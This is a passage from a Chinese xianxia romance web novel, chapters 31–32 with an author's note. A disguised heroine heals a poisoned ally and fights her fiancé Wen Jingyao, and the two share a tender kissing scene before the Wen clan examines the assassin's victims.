作者有话说:终于写到了这个剧情伏笔,之前写的十三州认为天罡篆是鹤阶的东西,鹤阶也是靠着天罡篆才站稳脚跟的,其实不是哦[撒花] 今天虽然写到这个木盒了,但写得太慢了,我时速只有几百字,加更失败[爆哭]今晚熬夜努努力,明天一定更个大肥章[加油] 本章发红包[加油]《 》 30-35 第31章 第 31 章 “一定不要原谅我。”…… 纵使听到十三州的惊天秘密, 慕夕阙也并未有动容之色,她如今没功夫想那些事,得赶紧找个地方帮随泱疗伤。 慕夕阙忽然一顿, 定睛感知,眸色蓦地冷淡下来。 随泱以为是鹤阶追了上来, 艰难推她:“慕二小姐, 放下我,你赶紧走。” 慕夕阙却将他往背上托了托,背着人拐了个弯, 迅速朝西北向奔去。 闻惊遥在靠近这里,她留在他身上的灵印在逐渐朝他们这里逼来,慕夕阙不知他为何会来这里, 只能扭头就跑。 刚跑了没多远, 她又忽然停下, 直接将随泱放下, 让他倚靠着树干。 随泱当她终于想通了, 笑了一笑,已然出气多进气少:“慕二小姐,你不必觉得自责, 这与你无关,咱们能活一个——” 话没说完, 慕夕阙取出匕首, 捞起随泱的胳膊一刀割开他的手腕。 随泱皱眉,却并未喊痛, 也未曾躲开,见慕夕阙蕴出灵力打入他的经脉,竟然在逼他的毒素。 “慕二小姐, 鹤阶一会儿便能追上,你赶紧走。” 慕夕阙头也不抬,专心致志为他一点点逼出尚未侵入太深的毒素,淡声说:“放心,追不上了。” “……什么?” “追不上了。”慕夕阙又说了一遍,“我帮你逼出毒素。” 她看了眼幽深无人的山路,她今夜本没想利用闻惊遥,那灵印起初只是防他又忽然出现堵她个正着,用来追踪定位用的,可如今他既然来了,那不用白不用。 慕夕阙闭上眼,默念术语。 移灵术。 只要她的灵印打在谁的身上,那个人的气息便会被她的气息短暂覆盖,变成“慕夕阙”这个人。 百里之外,林中迅速闪过的青影身子一顿,少年在林间站立片刻,垂着头不知在想什么,可也只愣神了不到三息功夫,紧接着,他继续朝某处奔去。 耳根后的灵印亮了一瞬,那写了晦涩篆语的金色灵印又陡然熄灭,但却已不似原先那般浅淡,而是隐隐可以瞧见。 闻惊遥一路朝着玉牌指引的方向奔去,眼看要穿过这片晦暗的密林,倏然之间,他旋身退至几十丈外,而方才他站立的地方,已然插着一柄肃杀长刀。 他回身看去,身后身着云蓝长衫的鹤阶弟子迅速将他围起,接着人群中散开一条仅容一人通过的小路。 闻惊遥冷眼看着白望舟从路的尽头走来。 准确来说,是几名鹤阶弟子抬着他走来,那是个临时搭建的木轿,而他便坐在上面,脸色阴沉,瞧着像是憋了怒火,那身纤尘不染的白衣衣摆被鲜血浸透,应是受了伤。 白望舟被弟子抬着,循着捕灵蝶一路追来,以为鹤阶弟子围着的是那个敢挑他脚筋的姑娘,没想到见面之后,竟是个熟人。 “闻少主?” 闻惊遥单手执剑,颀长的身影在众多鹤阶弟子中也属高挑,看着轿上的白望舟,并无表情。 白望舟眯了眯眼:“少主可曾见过一个黑衣姑娘?” “她怎么了?”闻惊遥淡声问道。 白望舟笑了笑:“也没什么,只是这姑娘杀了我们一些鹤阶弟子,将随泱给掳走了。” “并未见过。”闻惊遥说完,不等白望舟回应,转身便要离开,分毫不给面子。 “少主还是留步为好。”白望舟脸色冷下,眸底阴沉,“鹤阶追寻灵蝶前来,却撞上了闻少主,方才你定与凶手擦肩而过了才会被她的灵力沾染。” 闻惊遥顿住,并未转身。 白望舟继续道:“在下也不想怀疑少主,但那女子身份特殊,先前我鹤阶旷悬仙长便是死于她手,无论如何,还请少主配合一番。” 闻惊遥似乎有了反应,回身看来,目光落至白望舟指尖上停留的灵蝶,那用灵力幻化出的蝴蝶是鹤阶长老才会的术法,可定向追踪气息。 鹤阶追踪到他,便证明他身上有凶手的气息。 闻惊遥沉默片刻,目光落在白望舟脸上,问道:“闻家暗桩得知消息,季观澜已死,且身旁有鹤阶弟子的尸身,我奉闻家之命来缉拿凶手,既在此碰见了,那便想问问。” “千机宗罪人季观澜,为何会与鹤阶弟子在一起?” 白望舟脸色一僵,闻惊遥就站在离他不远的地方,两人对视,他活了这么多年,对上一个年岁还不如他零头的少年,竟也会觉得……有些怵。 好似他什么都看出来了般。 白望舟反应很快,旋即敛去异样,反问道:“鹤阶弟子奉命去缉拿季观澜,不可吗?” “是吗?”闻惊遥面无表情,语调淡淡,“季观澜修为元婴满境,鹤阶弟子身手不俗,只需六人便有把握将季观澜捉拿。” 白望舟被呛了一下,倒是小瞧了这哑巴,平日看着一句话都憋不出来,如今倒是能说会道极擅阴阳,都跟谁学的? “闻少主,你是诚心要阻拦鹤阶缉凶?”白望舟怒极反笑,眸光略带威胁。 闻惊遥看着他:“我并未阻拦,若你不信,可来查我。” 两人对峙,白望舟清楚,若他敢查闻惊遥,那闻惊遥也势必要揪着季观澜的事不放了。 几息后,白望舟笑了下:“想必是灵蝶指引错了,闻少主,请走吧。” 他摆了摆手,示意鹤阶弟子退下,随后白望舟抬手做请。 闻惊遥看了他一眼,转身离开。 走出大约几里远,他取出闻家玉符,淡声说:“现在离开返程,不必等我了,将季观澜和鹤阶弟子的尸身全数带回东浔闻家主宅,务必要赶在鹤阶去之前将尸身运走。” “是!” 闻惊遥挂断玉符,看了眼鹤阶来时的方向,他对东浔城外格外熟悉,能猜出他们大致从哪里追来的,于是果断挑了个小路抄近道走- 割了随泱的两个手腕,慕夕阙放了他许多血,运转灵力将他体内的毒素沿着经脉逼出大半,她点了他的穴位,又喂他吃了十几颗解毒丹。 随泱气息奄奄,却还吊着口气,短时间内死不了。 心知鹤阶若察觉被她耍了后,应当很快便会赶回,且闻惊遥既然来了,他是那个最大的变故,比鹤阶的人聪明多了,难保不会遇上。 生怕遇上闻惊遥,慕夕阙果断背起随泱,继续朝最近的慕家暗桩赶去,距此有五十里地,她片刻不敢停歇。 只要不遇上闻惊遥,别的都好—— 这念头刚出,慕夕阙陡然顿住,回头看向幽深密林。 打在他身上的灵印告诉她,闻惊遥离她只有不到十里了。 他从哪里窜出来的? 慕夕阙当机立断,掐了灵力幻化出上次杀闻时烨时用的那张脸。 易容后,她将随泱放下掩藏在灌木丛中,用枯枝全数挡住,又燃了张符篆遮挡他的血气,随后她转身便跑,黑影在林中快速奔移,可瞬息几十丈。 闻惊遥的气息越来越近,紧紧追着她。 慕夕阙冷着脸,朝背离随泱的地方跑,直到确定足够远离,她忽然停下,抬手拔剑,转身看向林中。 高挑挺拔的身影从密林中走出,轮廓模糊,但威压逼人,他越走越近,直到完全走出阴影,皎洁月色落至他面上,照出那张清俊的脸。 两人隔了十几丈远对视。 闻惊遥看着她,这张脸仍是上次雨夜闻时烨死时,他瞧见的那张脸,就好似这不是易容,而是这人就长这副模样。 旁人易容,尤其这种杀手,杀一个人便会换一张脸,决计不会再用先前的面容。 “又是你?”慕夕阙看着他,“还想找死?” “你杀了人。”闻惊遥道。 慕夕阙冷声道:“我杀了又怎样,我又没滥杀无辜,你又为何次次阻拦?” 闻惊遥问道:“你与他们有何仇?” 慕夕阙拔剑便劈,快步逼至他面前。 “管我有何仇,你算老几?” 擦肩而过的时候,趁他侧身躲避,慕夕阙一掌打上闻惊遥腰腹的伤,她知道他那里有处旧伤。 果不其然,青衫被血迅速浸透。 闻惊遥面不改色,拔剑迎上。 慕夕阙打架颇狠,如今面对的又是闻惊遥,那些上辈子压了百年的火气越打越克制不住,她招招狠辣,将所学的杀招全数用于他身上。 闻惊遥身上本就有伤,不过一会儿,便崩裂了大部分伤口,而慕夕阙也同样如此。 在她的剑刺过去时,闻惊遥借力抵住,看着她说道:“你身上有伤。” 慕夕阙笑了一下:“打架厮杀,哪有不受伤的?” 她再次攻去,剑光快如流星,身法熟练,眼花缭乱之中,招招攻向闻惊遥的命门,好似对他有格外浓重的恨意。 可闻惊遥却并未招招致命,在与他打斗的过程中,慕夕阙觉察出他的招式并不如上一次见面那时狠厉,那夜他分明毫不留情,力气极大,杀招迅猛。 趁他再次防守,慕夕阙一掌轰在他的肩头,力道极重,她甚至听到骨骼碎裂的声音。 闻惊遥退后十几丈远,脸色苍白了些,他长身玉立,单手执剑,那剑却未染一滴鲜血,他好似没有痛觉,无论慕夕阙是捅他的旧伤,还是碎他的骨头,他的眼都不眨一下。 如今他们隔着不近不远的距离对视,闻惊遥站定并未再逼上来,他只是沉静淡漠看着她。 慕夕阙也不恋战,随泱撑不了多久,她转身便跑。 闻惊遥并未追上。 他看着她离开,速度极快,几息功夫便消失。 今夜的风刺骨,这密林太深,潮湿且冷,他一路燃灵力瞬移,如今又失血过多,新伤旧伤一起涌上。 闻惊遥垂眸看着他站立的地面,血水早已积成水洼- 慕夕阙赶去的时候,鹤阶的人还未追来,不知道闻惊遥到底为何不追她,但总之他不来,她便是省了事。 她将随泱扒出来,他早已昏厥,唇色乌紫,那毒明显又加剧了几分,侵肝入肺,诡异十足。 慕夕阙咬牙,若有机会她定要那白老贼尝尝他自己的毒。 她背上随泱,转身朝慕家暗桩奔去,这一路倒算顺利了不少,刚到慕家暗桩前,守门弟子便迎了上来。 “二小姐。” 弟子接过随泱,带至厢房内,将他安置在榻上。 慕夕阙问道:“那个断腿小子呢?” “弟子们刚接上他的腿骨,如今那名公子已歇下了。” 慕夕阙点点头,挥了挥手:“先下去,守着门不许任何人进。” “是。” 房门关上,慕夕阙又给随泱喂了几颗解毒丹药,接着取出银针,在他的几处穴位上扎入。 这些治伤解毒的经验大多都是在海外仙岛之时学来的,托随泱的福,他人缘好,在那里混的风生水起,慕夕阙也跟着结识了能人异士,那些人不吝赐教,传授了她许多术法和活命经验。 银针扎入后,随泱忽然睁开了眼,紧接着仿佛窒息般提了一口气,然后又重重呼出,再次闭上了眼。 从他的七窍内,逐渐渗出黑血。 慕夕阙接着施针,催动灵力逼迫他经脉内的毒素混着血涌出,这是个需聚精会神,且极费精力的活,且对随泱来说也痛苦难忍,即使是昏厥,他的眉头仍拧得死紧。 她不知过了多久,约莫是一刻钟,又或者两刻钟,总之地上已淌了一地的血,她身上也沾染了些,随泱唇上的乌紫总算退了,虽仍苍白,却不似方才那般毒深的模样。 慕夕阙站起身,闭上眼缓了缓,终于觉得能站稳了,眼前不是那般眩晕的样子后才睁开眼,看了眼随泱后扭头就走。 她走出门外,对门口看守的弟子道:“时刻看着他,若有不对劲便即刻传我,先别让他和随安见面,等白日我会再来一趟。” “是。” 慕夕阙跃上房檐,朝东浔主城奔去,一路用了灵力速度极快。 她熟门熟路穿过玉灵,从后山翻进画墨阁,先去水房沐浴洗去一身血气和泥垢,紧接着赶忙给崩裂的伤口上药,确定不会露出半分的血气后才停手。 慕夕阙取出熏香,将寝衣熏了熏,又在屋内香炉里添了些,整个寝殿都是这股馥郁的香。 她坐在屋内,胳膊搭在桌上,指节屈起,无意识敲敲打打,反复琢磨随泱的话,上辈子他可并未说过这些。 随泱说天罡篆不是鹤阶的东西。 慕夕阙拧紧眉头,纵使她不爱读书,但《十三州史》也是看过的,天罡篆自几千年前便是鹤阶的东西,当年那场险些覆灭整个十三州的祟难,彼时的天罡篆和十二辰之主各自祭出两个神器,耗尽修为驱逐秽毒于祭墟内。 后来…… 后来怎么回事来着? 慕夕阙拧眉,想不起来,直接拨通玉符。 蔺九尘还未睡,声音清明:“小夕?” 慕夕阙沉声问:“几千年前的那场祟难,两位神器之主去镇压秽毒后,他们人怎么样了?” 蔺九尘比她熟知这些过往,他不假思索直接回答:“当时十三州尚没有圣尊这一说,鹤阶也只是个小门派,彼时的天罡篆之主只是鹤阶的家主,十二辰之主是慕家第一任家主,那场祟难后,两位神器之主也前后殒了,相差不过一年。” 他顿了下,又补充道:“应是心脉重创,无可挽回,撑了没多久便神灭形消,毕竟你知道的,使用神器的代价。” 慕夕阙当然知道。 天罡篆主地脉,十二辰主天脉。 向地神和天神借力,那便需献上代价,便是自己的寿数,使用神力越多,寿数被剥削得便越是严重,因此两个神器之主往往先后死去。 镇压秽毒需两人同时进行,缺一不可,两人皆会损耗寿数。 “你问这个做什么?”见她那边沉默,蔺九尘有些困惑,“这些都是几千年前的事情了。” 慕夕阙并未回答,而是问:“鹤阶便是仗着那时才逐渐扬名的,是吗?” “是啊。”蔺九尘回答,语露嫌弃,“牺牲了一个家主,又因为天罡篆在他们手里,小门小派崛地而起,一瞬千里,因着慕家不争不抢专心经商,救世的功劳好似全被鹤阶拢了去。” 最后鹤阶平步登天,盟友愈发多,竟逐渐发展成十三州独揽话语权的门派,他们的家主便是十三州圣尊。 “不过你到底为何问这些?”蔺九尘将话又扯了回去。 慕夕阙说道:“这些事不便在玉符中说,待见面之后再谈,你先休息,白日便要返程回慕家了,我会将徐无咎给你们送过去。” 她说完,不等蔺九尘回答,直接挂了玉符。 慕夕阙抬眸,望向窗外,从这里看出去,只能瞧见满院的月色和墙角的那株楹花树,但她亲手下的灵印告诉她,闻惊遥在门外。 她坐着没动,脸色冷沉。 过了片刻,她听到前院的门被推开。 慕夕阙直接起身,来到寝殿外,打开殿门,恰好与从前院走来的闻惊遥对视。 寝殿外先是三层由青砖铺就的台阶,她独身站在阶上,看着隔了一个小院的少年,马尾高束,清俊出尘。 他换了身洁净的外衫,却仍是挡不住身上的血气,正迎着月色和寒风看着她。 “闻大少爷,现在连门都不敲了,推门就进?” 慕夕阙拢了拢身上的寝衣,就寝时穿的衣裳宽松舒适,并不适合见人,若搁以往的闻惊遥,早就别过头避开了。 可今夜的闻惊遥只是看着她,目光并未避让,安静又专注地看着她。 慕夕阙眼眸微眯,问道:“你又受伤了?” 闻惊遥终于动了动,喉口滚动,他朝她走来,边走边说:“嗯,我受伤了。” 他来到她身前,单手按在她的肩头,轻轻一推。 慕夕阙根本没想到他会来这一招,被他推进门内,脚步踉跄险些绊着寝衣的裙摆,腰身后却又按上一只劲瘦有力的手掌,几乎可以掌握她大半腰身,稳住她的身形。 “我受伤了,很疼。” 眼前一花,慕夕阙根本没来得及说话,猝不及防被他低头吻了个结结实实。 他单手捧着她的脸,一手搂着她的腰,带着她往寝殿内走,还不忘轰上寝殿的门,遮住院内的月色。 殿内并未点灯,桌上的香炉里点的是她常熏的香,氤氲幽香盈满整间寝殿,唇舌纠缠的吞咽声在屋内响起,慕夕阙被他推在桌边,后腰抵着桌边。 他扣着她腰身的手上移,修长的手穿过她如瀑布般垂下的青丝,按在她的后脑支撑她仰起头。 慕夕阙皱了皱眉,唇被人挤开,他像是小狗一样,啃咬她的舌,吮吻她的唇,紧密且用力,不一会儿她便觉得唇舌发麻。 实在是抵不住了,慕夕阙推了他一下,趁他停顿的片刻,她别过头,喘了几口气,皱眉问道:“你怎么了?” 闻惊遥双手捧着她的脸,目光紧紧盯着她,他小声问她:“你心疼我吗?” “什么?”慕夕阙眉头拧得更紧,听不懂他说什么乱七八糟的。 “夕阙,你心疼我吗?”闻惊遥低头,看着她的眼睛,他轻轻亲吻她的额头,她的睫毛,她的眼尾。 “我受伤了,你真的不心疼吗?” 慕夕阙愣了下,而他又十分粘人地吻上她的唇,这次却不如方才那般凶狠。 他绵绵密密地亲吻她,在唇上吮吸,轻咬她的舌尖,捧在她脸侧的手微动,指腹摩挲着她光滑的肌肤。 慕夕阙又皱了眉,别过头躲开他的吻:“你自己都不心疼自己,都受伤了还来我这里发疯。” “我不疼,也不怕受伤。”闻惊遥的吻落在她的耳根,含着那处小巧的耳垂,热气尽数喷涂在她耳根,“可你受伤,我很心疼。” 慕夕阙愣了下,陡然反应过来,闻惊遥方才亲吻她的时候,从始至终都未曾碰过她身上有伤的地方。 她看着他耳根后的灵印,她还未收走。 “伤哪里,我看看好不好?”慕夕阙推了推在她耳根亲吻的少年,声音柔了些。 闻惊遥停下,抬眸看她,纤长睫毛在眼下投上大片阴影。 慕夕阙笑了笑,亲亲他的唇:“我帮你看看。” 她抬手解开他的腰封,闻惊遥动也不动,慕夕阙心下便更是确定,这人如今不正常,换做昨日的闻惊遥,压根不会给她机会脱他的衣服,脸皮薄得一戳就破。 慕夕阙拨开他的外衫和里衣,挥手点了屋内的灯。 暖黄的烛火照在他的身躯上,他自小习剑锻体,肌理分明,宽肩窄腰,完美的身形却如白玉生瑕,新伤旧痕笼罩了这具身躯,先前缠好的绷带也已渗出血。 “伤这般重?”慕夕阙声音很低,柳眉微拧,抬手便要触碰他的伤。 闻惊遥握住* 她的手腕制止了她,他低头看她:“你心疼吗,夕阙?” “我自是心疼的。”慕夕阙反握住他的手,将侧脸枕在他的掌心,看着他说,“伤这么重,疼吗?” 慕夕阙上辈子没少跟人虚与委蛇,可在他面前,被闻少主那双浅淡的琉璃瞳眸看着,总觉得他能看穿人心。 “闻惊遥,我帮你疗伤——唔!” 话没说完,又被人捂住嘴,他的掌心贴着她的唇,漂亮的眸子盯着她的脸,低头贴过来,在她的眼睛上亲了亲。 “你心疼我就好,不用疗伤,我不疼的。” 闻惊遥松开捂住她嘴的手,随手系上自己的腰封,腾出一只手扣住她的腰身,单手一提,慕夕阙便坐在了桌上。 慕夕阙竖起双臂挡在两人之间,抬眸看他:“又干嘛?” 闻惊遥偏头过来,轻轻啄啄她的唇,小声说:“我想和你待会儿。” 慕夕阙气急反而笑了,双手按在他的肩头问道:“是想待会儿还是想亲会儿?” “都有。”她刚问完,闻惊遥便回答,半分不犹豫。 慕夕阙笑了两声,双臂自他的脖颈交缠过,唇角微弯,笑盈盈说:“闻少主,你现在这般放得开了啊。” “嗯。”闻惊遥应了声,喉结滚了滚,偏头过来亲她的唇。 晦暗的烛火中,响起的是心跳声还是他们唇舌纠缠的声音,他没工夫去想,他吻着她的唇,吞咽她的气息,察觉到她的回应,她明明在回应他的吻,纵使有虚情假意,却也总会有一分真心吧? 他自记事起便认识了这位大小姐,他做错了什么呢? 他恍惚间觉得她真的恨他,就连她的亲吻都是裹了糖衣的砒霜。 耳后微微一凉,闻惊遥感觉到了,却动也不动,只是亲吻的动作比方才凶了些,几乎要深入她的喉口,觉察到她在推他,攀在他脖颈后的手似乎抓伤了他,不像是在旖旎亲吻,像是在吞吃嚼碎。 慕夕阙终于忍无可忍了,用了灵力推开他,她抬手触碰自己的唇,唇上红肿,唇角也被牙齿磨出了个渗血的小口子。 她面无表情看他,问道:“你到底是亲还是咬?” 可闻惊遥都不是。 他又靠近她,双手捧住她的脸,舔去她唇上的血,贴着唇说:“对不起。” 慕夕阙眉心微蹙,觉得他如今精神状态格外堪忧,好像过去压抑的情绪一丝不留全部反冲了般。 “无事,我原谅你了。”慕夕阙淡声道。 她动了动,便想挣开他跳下木桌。 可闻惊遥抵在身前,搂紧她的腰身,将脑袋埋进她的颈窝:“夕阙,我做错事情了,是吗?” 慕夕阙阴阳怪气道:“难不成是我做错了?” “你不会做错事的,你做的都是对的。”闻惊遥的鼻尖轻轻蹭蹭她的脖颈,感知她脖颈下跳动的脉搏,他小声说,“那我做错了是吗?” “不然呢,你都咬我的嘴了,下一步是不是要吃了我啊。” 慕夕阙推他,这人岿然不动。 “不会的。”闻惊遥说,老老实实回答,“不会吃了你的。” 慕夕阙干脆也不动了,闻惊遥发疯的时候格外难缠,他今日明明未饮酒。 她的余光看了眼他的耳根,那灵印已经被她方才收回,半分痕迹都无。 安安静静让他抱了许久,闻惊遥抬起头,两人对视,慕夕阙瞧见他眸底的小心翼翼和困惑不解。 “夕阙,我真的做错事了吗?” 慕夕阙面无表情问:“我听不懂你在说什么。” 闻惊遥看着她的眼睛,这双漂亮又锐利的眼,就像她这个人一般,只要见到,便会沉沦进去。 他抚着她的脸,轻声说:“我性子死板,总跟不上你的思绪,不知道怎么逗你笑,怎么让你开心,怎么让你喜欢上我,或许我真的无意间做过让你生气的事情,而我自己并不知晓。” 慕夕阙有那么一瞬间,其实是想笑的。 看,少年时的闻惊遥都不理解自己会做什么错事? 他那么喜欢淞溪的二小姐,喜欢到家规可以悖逆,原则可以退让,她说的每一句话他都会记住,她皱个眉头他便知道她是何意,怎么可能对不起她呢? 闻惊遥怎么可能伤害慕夕阙呢? 可闻惊遥就是这么做了。 慕夕阙看着他,她抬手抚上他如画的眉眼,偏头去亲他的唇,轻轻啄啄,一触即离。 “闻惊遥,你就那么喜欢我?” “我如何会不喜欢你?我只喜欢你。”闻惊遥低声呢喃,好似自言自语。 慕夕阙搂住他的脖颈,将唇贴上去,咬着他的唇瓣,她用了些力道,咬破他的唇,这下他们彼此的血都混在一起了,交缠的唇舌品尝到对方的鲜血。 她在细密的吻中,跟他说:“这么喜欢我,那你就记好了,对不起我的人,我绝不会放过。” 闻惊遥搂住她的腰身,和她交换这个细密的吻,睁开眼看到她闭上的眼,她明明在和他亲吻,这是件极尽亲昵的事。 他闭上眼,按住她的后脑,吻她的唇。 那些不甘和怀疑,都在这个吻中化为破碎的利刃,一片片倒捅向他自己。 在这个吻结束,他们额头相抵,闻惊遥身上的伤在流血,这几日来,他好似一直带着伤痛。 他捧着她的脸,骨节分明的手拢在她的脸侧,看着这双令他沉沦的眼睛。 “夕阙,如果我真的做错了事情,如果我真的伤害了你,不管什么原因,你要记住,一定不要原谅我。” 第32章 第 32 章 做她喜欢的样子 辰时正, 闻家主宅已敲钟,休息的弟子们便需起身,或巡街, 或去学宫修习,或把守主宅。 慕夕阙醒的时候, 也恰好辰正。 她听到细微的声音, 其实很低,可屋内太过静谧,这声音便足以令她听清了。 她侧眸去看, 少年长身玉立,正背对着她束上腰封,绣有闻家宗纹的腰封掐出劲瘦却有力的腰身, 他身段好, 站得笔直挺拔, 单是个背影也好看。 慕夕阙翻了个身看着他。 听到身后的声音, 闻惊遥顿住, 两人都没说话,几息功夫后,他将腰封束好, 转身看她。 慕夕阙枕着自己屈起的胳膊,未束的发铺了满枕, 安安静静看着他, 一句话也不说。 闻惊遥薄唇微抿,眸光垂下, 错开她松垮的寝衣露出的大片锁骨,低声道:“夕阙,抱歉。” 慕夕阙笑了笑, 懒洋洋坐起身,拢了拢寝衣:“今日是谁亲个不停了,赶都赶不走,愣是赖在我这里睡了几个时辰,粘人得很,现在睡醒了,知道害羞了?” 闻惊遥心知是自己的错,睡了两个时辰,便足够他清醒了,听她这么一说,升起的不是害羞,而是愧疚。 他嘴笨,又不知该说什么了,也不会为自己辩驳解释,只会生涩道歉。 “抱歉,夕阙,是我的错。” 慕夕阙掀开锦被翻身下榻,从他身边经过,直接拉开寝殿的门,去了水房。 “我看你盥洗过了吧,那等我回来。” 闻惊遥站着不动。 过了会儿,她从水房回来,擦干脸上的水珠,坐在妆奁台前对他道:“过来帮我挽发。” 闻惊遥动了动,应了声后来到她身后,拿起梳篦替她梳发。 慕夕阙的头发顺滑,一梳便能到尾,用淞溪重金求购的皂露养发,养出了一头浓黑柔顺的长发,长到腰际。 闻惊遥并不太会挽女子发髻,替她梳好发后,想了想幼时看庄漪禾时如何挽发的,可他幼时鲜少和庄漪禾见面,见她挽发的次数似乎不足一两次。 看出来他的困窘,慕夕阙抬手接过梳篦:“我来吧,你看好了,待你我成婚后,这活儿都得你来。” 慕二小姐惯爱使唤他,以前拿闻少主当跟班和小弟使唤,不合情也不合理,让朝蕴知道了还老揪她耳朵。 现在拿他当道侣用,合情合理,谁都不会说她什么。 反正闻惊遥是乐意的,从前或现在,他都很听她的话,她吩咐什么,就算是找茬,他都乐意。 慕夕阙熟练挽好个常梳的发髻,看了闻惊遥一眼:“看懂了吗?” 闻惊遥学什么都快,颔首道:“嗯,会了。” 慕夕阙指着妆奁台上的匣子:“替我簪头饰。” 这些他倒是会,他记得她爱戴什么样式的头饰,什么样的发髻簪在什么位置。 他们能见面的机会不多,每次见面他都格外珍惜,会用心且专注地看看她。 慕二小姐活了这十七年,从来没吃过物质上的苦,匣子内摞满了金饰珠花,包括刚住进来时闻惊遥差人送来的,如今这木匣子都快装不下了。 闻惊遥看了眼,想着偏殿还空着,不若以后留给她放衣裳首饰,多打几个妆奁。 他选了选,替她轻柔簪上,捋顺金钗下垂的流苏。 慕夕阙转过身,面朝着他,晃了晃头上华丽的金饰,问他:“好看吗?” “嗯。”闻惊遥看着她,“很好看。” “那换衣吧。”慕夕阙站起身,又问他,“你觉得我今日该穿什么衣裳?” 闻惊遥看着她,慕夕阙平日爱穿金、红两色,张扬夺目,他认真看了片刻,忽然朝床榻旁的小木几走去,拾起自己的乾坤袋。 “夕阙。”闻惊遥取出了个雕花木盒,递给慕夕阙,“你看看,喜欢吗?” 慕夕阙眉梢一挑,莲衣阁的衣裳精致且昂贵,一件衣裳起码千金,她穿过莲衣阁的衣裳,自然认得他们家的印章,他们装衣裳的盒子都是梨花木。 “何时去定的?”慕夕阙接过木盒,抬手轻抚,梨花木打了蜡油,温润且厚重,隐约还有一股浅淡的木香。 闻惊遥道:“我们试冠服那日,这鲛绡我想着你应当喜欢。” 莲衣阁三日前便做好送到闻家了,只是他一直没寻到机会送给她。 慕夕阙打开,樱红色的鲛绡光滑柔顺,在盒内折了这般久也未有一丝折痕,这套为两层,鲛绡做成素纱外衫,内里则为罗缎织就的对襟藕红长衫。 “好看,我喜欢,那今日就穿这件。”慕夕阙仰头,弯起眼眸冲他笑着。 闻惊遥喉口滚了滚,应道:“好。” 她在换衣,他便去到屏风后等着。 过了没一会儿,慕夕阙换好衣裳走出来,抬起手臂对他说:“怎么样?” 闻惊遥唇角微弯,神情温和,仔细回道:“好看。” 他又认认真真看着她,再次回答:“很好看。” 其实在他看来,她穿什么都好看,越是张扬的颜色,便越是衬她。 慕夕阙走过来,踮起脚在他唇上啄了一下:“那这是我的回礼。” 闻惊遥看着她,她还靠在他怀里,他们的拥抱这段时间来有许多次。 少年安静看了她一会儿,随后捧住她的脸,低头吻上去,柔柔密密的吻化开在两人的唇齿间。 双唇分开,慕夕阙闷闷笑了两声,抱着他的腰身仰起头,说道:“你真是变了。” “嗯。”闻惊遥并不否认,低头啄了啄她的眼尾,“夕阙,你想我是什么样子的,我便是什么样子。” 慕夕阙靠在他怀里,侧脸枕着他的心口,听到规律有力的心跳声。 她看着被擦得锃亮的青砖上倒映出的两人身影,若在旁人看来,多么伉俪情深,琴瑟和鸣。 她想着,闻惊遥可真是变了,那个规行矩止,琼枝玉树的闻家少主,若沾了情爱,也会变的- 和闻惊遥走进议事堂时,已是半个时辰后。 慕夕阙并不喜欢闻家的议事堂,阴沉冷飕,且肃重端严。 青砖上摆着几具尸身,慕夕阙从尸身旁路过时,余光一瞥,瞧见季观澜、应祈和昨夜死去的那六名鹤阶弟子,以及一个前几日死去的人—— 闻时烨。 闻时烨死了已有几日,被闻家存放于冰窖内,并未开始腐烂,脸色灰白中带了乌青,脖颈上致命的剑伤将皮肉掀开。 闻承禺和庄漪禾正站在季观澜的尸身旁,朝蕴和蔺九尘竟然也在,可今日慕家弟子便要启程回淞溪了。 慕夕阙皱眉,看了眼蔺九尘,双目相对,他们多年师兄妹的默契便告知她,有些话不能在这里说。 见他们来了,闻承禺不冷不淡说道:“既来了,那便来看看吧。” “嗯。”闻惊遥回道。 慕夕阙跟在他身侧,淡淡看向青砖上的几个竹架,总共九具尸身,至于她先前杀的闻时烨的死士,若都呈上来,这里怕是成了停尸间了。 闻承禺道:“闻家弟子今日清晨运回来的尸身,闻家学宫的应祈,千机宗的季观澜,以及几名鹤阶弟子死在一起。” 朝蕴皱眉:“都是一剑封喉,瞧这伤缘,极其利落,瞧着像是专业的杀手。” 庄漪禾神态也严肃了些:“想必朝家主也知晓旷悬的事情了吧,小夕和惊遥订婚的第二日清晨,闻家弟子便在东浔城外发现了旷悬和一百多名鹤阶弟子的尸身,那些尸身被白望舟带走了,闻家并未带回一具。” “但是。”庄漪禾走上前,从几具尸身旁一一经过,看着他们脖颈的伤,“时烨长老、季观澜、应祈、鹤阶弟子,以及几日前的旷悬,他们的致命伤无论伤缘,深度还是位置,几乎大差不差。” 朝蕴倏然冷了脸:“死于同一人之手?” “嗯。”庄漪禾颔首。 在无人注意的地方,蔺九尘看向慕夕阙,她正安静站在闻惊遥身旁,垂眸看那些尸身,面无表情,眼底一丝波澜都无,好似看惯了这种场面。 旁人不知,但他知道旷悬是谁杀的,如今闻家人告诉他们,杀了旷悬的人同样也是杀害闻时烨和季观澜的凶手,甚至还杀了闻家的弟子。 慕夕阙为何要杀他们? 蔺九尘不动声色收回目光,这些事情慕夕阙连朝蕴都不说,他也打不准她心里在想什么。 闻承禺看向闻惊遥:“你昨夜前去缉凶,可有见到凶手。” “嗯,见了。”闻惊遥淡声应道。 “过招了?” “嗯。” “你受伤了?” “嗯。” 闻惊遥一直都这般话少,能说一个字便不会说很多废话。 闻承禺上下打量了他一圈,淡淡收回视线,问道:“和她过了两次招,可有什么发现?” “她修为很高,招式奇怪,与鹤阶有仇。”闻惊遥淡淡说道,顿了顿,又开口补充,“我放她走了,她心地不坏,不是嗜杀之人。” 闻承禺和庄漪禾陡然看向他,闻惊遥不躲不避,坦然迎上。 “你放她走了?”闻承禺眼眸微眯,负手而立,“杀这么多人,心还不坏,还不嗜杀?修道之人忌造杀业,你不知道吗?” 闻惊遥道:“她杀的是恶者,并未滥杀无辜。” 闻承禺音量忽高,厉声道:“现在没有证据证明这些人都是恶者,除了季观澜已被定了刑该杀之外,你二叔、旷悬、应祈以及这些鹤阶弟子,你能拿的出铁证,证明他们有罪吗?” “闻惊遥,罪疑惟轻,你从小背的东西都忘了吗?” 他声音很大,在这空旷静谧的议事堂内便更显厉然。 庄漪禾也皱了眉,困惑不解看着闻惊遥,似乎不理解,自小熟读十三州律规的孩子为何会说出这种话。 朝蕴和蔺九尘对视一眼,无声叹气,倒是第一次见端正守规矩的闻惊遥被家主训斥,但毕竟闻家家事,他们无权插手。 闻惊遥只是安静站着,看着闻承禺。 自打他记事起,便从未被训斥过,他三岁早慧,自小便熟读闻家家规和十三州律规,对其言听行从,是闻家眼里完美的继承人,是东浔百姓心中尊崇爱护的未来家主。 